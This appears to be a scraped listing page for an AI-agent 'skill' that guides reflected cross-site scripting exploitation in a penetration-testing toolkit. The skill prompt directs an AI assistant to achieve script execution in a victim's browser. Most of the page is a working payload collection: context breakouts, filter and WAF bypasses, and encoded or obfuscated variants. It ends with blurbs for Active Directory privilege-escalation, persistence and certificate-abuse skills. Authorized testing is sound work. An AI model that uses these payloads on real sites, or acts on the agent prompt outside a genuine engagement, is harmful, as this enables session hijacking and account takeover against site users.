acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide reflected XSS exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill xss-reflected --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/xss-reflectedContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide reflected XSS exploitation during authorized penetration testing.
name: xss-reflected description: > Guide reflected XSS exploitation during authorized penetration testing. keywords: - reflected XSS - XSS filter bypass - WAF bypass XSS - CSP bypass - payload reflected in page - input echoed in response - script injection - HTML injection tools: - burpsuite - dalfox - XSStrike opsec: low
You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
control over URL parameters, headers, and encoding
`document.querySelector('img#xss-test')` to verify DOM changes from payload)
If not already provided, determine: 1. **Reflection point** — URL, parameter, request method 2. **Reflection context** — where does the input land in the HTML? 3. **Existing filters** — what characters/strings are blocked or encoded?
Skip if context was already provided.
The payload depends entirely on where the input lands. Inject a canary string like `xss<>"'` and examine where it appears in the response.
| Context | Example | Strategy | |---|---|---| | Between HTML tags | `<div>REFLECTED</div>` | Inject new tags: `<script>`, `<img>`, `<svg>` | | Inside an HTML attribute | `<input value="REFLECTED">` | Break out of attribute: `"onmouseover=alert(1)` or `"><script>` | | Inside a `href`/`src` | `<a href="REFLECTED">` | Use `javascript:` wrapper | | Inside `<script>` block | `var x = "REFLECTED";` | Break out of string: `";alert(1)//` or `'-alert(1)-'` | | Inside HTML comment | `<!-- REFLECTED -->` | Close comment: `--><script>alert(1)</script>` | | Inside `<style>` / CSS | `color: REFLECTED` | Use `</style><script>alert(1)</script>` |
Try simple payloads first — escalate complexity only if blocked.
**Between HTML tags:**
<script>alert(document.domain)</script> <img src=x onerror=alert(document.domain)> <svg onload=alert(document.domain)> <details open ontoggle=alert(document.domain)> <body onload=alert(document.domain)>
**Breaking out of attributes:**
"><script>alert(document.domain)</script> " autofocus onfocus=alert(document.domain) x=" '><img src=x onerror=alert(document.domain)>
**Inside JavaScript context:**
";alert(document.domain)// '-alert(document.domain)-' \';alert(document.domain)// </script><script>alert(document.domain)</script>
**Inside href/src (javascript: wrapper):**
javascript:alert(document.domain) javascript://%0aalert(document.domain)
**Inside hidden inputs:**
" accesskey="X" onclick="alert(document.domain) " oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto
When basic payloads are blocked, use these bypass techniques.
<!-- Case variation --> <ScRiPt>alert(1)</sCrIpT> <IMG SRC=x ONERROR=alert(1)> <!-- Tag with extra attributes --> <script x>alert(1)</script y> <!-- Less common tags --> <details/open/ontoggle=alert(1)> <video src=_ onloadstart=alert(1)> <audio src onloadstart=alert(1)> <marquee onstart=alert(1)> <meter value=2 min=0 max=10 onmouseover=alert(1)> <!-- Nested/broken tags --> <scr<script>ipt>alert(1)</scr<script>ipt>
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
setTimeout`alert\u0028document.domain\u0029`String.fromCharCode(88,83,83) /XSS/.source
window['alert'](document['domain'])
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))<svg/onload=alert(1)> <img/src=x/onerror=alert(1)>
<!-- HTML entity encoding -->
alert(1)
<!-- Unicode escapes in JS -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<!-- Hex/octal in JS strings -->
eval('\x61lert(1)')
<!-- URL encoding in href -->
javascript:%61lert(1)
java%0ascript:alert(1)
java%09script:alert(1)When the app uppercases your input:
<IMG SRC=1 ONERROR=alert(1)>
Per-WAF techniques when application-level filters pass
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…